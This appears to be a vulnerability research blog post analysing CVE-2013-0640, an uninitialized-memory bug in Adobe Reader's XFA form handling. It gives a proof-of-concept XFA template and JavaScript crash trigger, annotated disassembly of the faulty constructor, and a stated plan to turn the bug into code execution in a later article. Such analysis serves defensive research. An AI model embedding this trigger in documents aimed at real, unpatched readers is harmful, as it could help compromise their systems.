Research and Development

This document aims to present a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild. This is the first article of a set. It covers the full detailed analysis of the bug.

Adobe Reader is an application software developed by Adobe Systems to view files in Portable Document Format (PDF).

Adobe XML forms architecture (XFA) are XML specifications for forms to be embedded in a PDF document. There were first introduced in the PDF 1.5 file format specification. They are not compatible with AcroForms. The form itself is saved internally in the PDF. There is a bug when dealing with the forms in a specific way.

Binary Information

Name: AcroForm_api
Base address: 0×20800000
File version:
Default path: C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api



The proof of concept consists of an embedded XFA form that is being manipulated using JavaScript.

The form by itself contains two subforms:

  • The first contains a choiceList object
  • The second one contains a simple draw object
<template xmlns="">
    <subform name="form1">
            <pageArea name="page1">
                <contentArea />
                    <field name="field0">
            <draw name="rect1" />

In order to trigger the bug the JavaScript code first saves a reference to the choiceList object for later use. Then it changes the property keep.previous of the draw object in the second subform to contentArea. Once done, the choiceList object is re-attached to the first subform. This triggers the bug.

function Trigger
    xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
var choiceList = null;
function Start()
    choiceList = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");
    xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous = "contentArea";
    ddd = app.setTimeOut("Trigger();", 1);

Binary analysis

Adobe Reader crashes in the AcroForm_api module. Just before the crash a function located at address 0x20907FA0 is called. For convenience this function is called UseTheUninitializedValue. First it calls a function at 0x209D76AE named GetTheBrokenObject. It then increments an attribute of the object, probably a reference count. Finally the attribute at 0x3c is evaluated. If is is not NULL a function at 0x209063B4 named crash_here is called using the object attribute at 0x3c.

.text:20907FA0 UseTheUninitializedValue
.text:20907FA0 var_10          = dword ptr -10h
.text:20907FA0 var_4           = dword ptr -4g
.text:20907FA0 arg_0           = dword ptr  8
.text:20907FA0 arg_4           = dword ptr  0Ch
.text:20907FA0 arg_8           = dword ptr  10h
.text:20907FA0                 push    4
.text:20907FA2                 mov     eax, offset sub_20CE45C9
.text:20907FA7                 call    __EH_prolog3
.text:20907FAC                 mov     ebx, ecx
.text:20907FAE                 and     [ebp+var_10], 0
.text:20907FB2                 push    [ebp+arg_8]
.text:20907FB5                 lea     eax, [ebp+arg_8]
.text:20907FB8                 push    [ebp+arg_4]
.text:20907FBB                 push    eax
.text:20907FBC                 call    GetTheBrokenObject // Get the uninitialized object from here.
.text:20907FC1                 mov     esi, [eax]
.text:20907FC3                 test    esi, esi
.text:20907FC5                 mov     [ebp+arg_4], esi
.text:20907FC8                 jz      short loc_20907FCD
.text:20907FCA                 inc     dword ptr [esi+4] // Reference counter?
.text:20907FCD loc_20907FCD:
.text:20907FCD                 lea     ecx, [ebp+arg_8]
.text:20907FD0                 mov     [ebp+var_4], 1
.text:20907FD7                 call    sub_208A7FA1
.text:20907FDC                 mov     edi, [ebx+3Ch]
.text:20907FDF                 test    edi, edi
.text:20907FE1                 jz      short loc_20908012
.text:20907FE3                 cmp     dword ptr [esi+3Ch], 0 // If 0, skip the call.
.text:20907FE7                 jz      short loc_20907FF2
.text:20907FE9                 mov     ecx, [esi+3Ch] // Uninitialized memory here.
.text:20907FEC                 push    ebx
.text:20907FED                 call    crash_here

The value coming from ESI+0x3c is used as a pointer. However the value is invalid, Adobe Reader crashes when dereferencing it.

.text:209063B4 crash_here
.text:209063B4 arg_0           = dword ptr  4
.text:209063B4                 push    esi
.text:209063B5                 push    edi
.text:209063B6                 mov     edi, ecx // EDI is invalid.
.text:209063B8                 mov     esi, [edi+40h]
.text:209063BB                 test    esi, esi
.text:209063BD                 jz      short loc_209063FE


.text:209063FE loc_209063FE:
.text:209063FE                 pop     edi
.text:209063FF                 pop     esi
.text:20906400                 retn    4
.text:20906400 crash_here      endp

In order to find the reason EDI contains an invalid value, we need to go back to the constructor of the object.

It can be found at 0x209D8D71 in a function named InitializeBrokenObject. This function is the constructor of the object. As seen from the disassembled code, the value at 0x3c is never initialized.

.text:209D8D71 InitializeBrokenObject
.text:209D8D71 arg_0           = dword ptr  4
.text:209D8D71 arg_4           = dword ptr  8
.text:209D8D71 arg_8           = dword ptr  0Ch
.text:209D8D71                 push    esi
.text:209D8D72                 push    [esp+4+arg_0]
.text:209D8D76                 mov     esi, ecx
.text:209D8D78                 call    sub_209E7137 // ECX comes from the second argument.
.text:209D8D7D                 mov     ecx, [esp+4+arg_4] // vtable.
.text:209D8D81                 mov     dword ptr [esi], offset broken_object
.text:209D8D87                 mov     eax, [ecx]
.text:209D8D89                 xor     edx, edx
.text:209D8D8B                 cmp     eax, edx
.text:209D8D8D                 mov     [esi+24h], eax
.text:209D8D90                 jz      short loc_209D8D95
.text:209D8D92                 inc     dword ptr [eax+4]
.text:209D8D95 loc_209D8D95:   // Offset 0x3c is not set.
.text:209D8D95                 mov     eax, [esp+4+arg_8]
.text:209D8D99                 mov     [esi+2Ch], eax
.text:209D8D9C                 mov     [esi+30h], edx
.text:209D8D9F                 mov     [esi+34h], edx
.text:209D8DA2                 mov     [esi+38h], edx
.text:209D8DA5                 mov     eax, off_20E93D74
.text:209D8DAA                 and     dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE                 mov     [esi+0Ch], eax
.text:209D8DB1                 mov     dword ptr [esi+10h], 0C9h
.text:209D8DB8                 mov     ecx, [ecx]
.text:209D8DBA                 cmp     ecx, edx
.text:209D8DBC                 jz      short loc_209D8DC1
.text:209D8DBE                 mov     [ecx+3Ch], esi
.text:209D8DC1 loc_209D8DC1:
.text:209D8DC1                 mov     eax, esi
.text:209D8DC3                 pop     esi
.text:209D8DC4                 retn    0Ch
.text:209D8DC4 InitializeBrokenObject endp

Depending on the previous memory usage, the value at ESI+0x3C may vary. If it is 0, the call is skipped and nothing happens. Otherwise a crash may occur.


This concludes the detailed analysis of the bug. The goal next is to replace the un-initialized data by fully controlled values and to leverage the bug into code execution. This involves a bit of heap massage and it will be the main focus of the second article.


Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)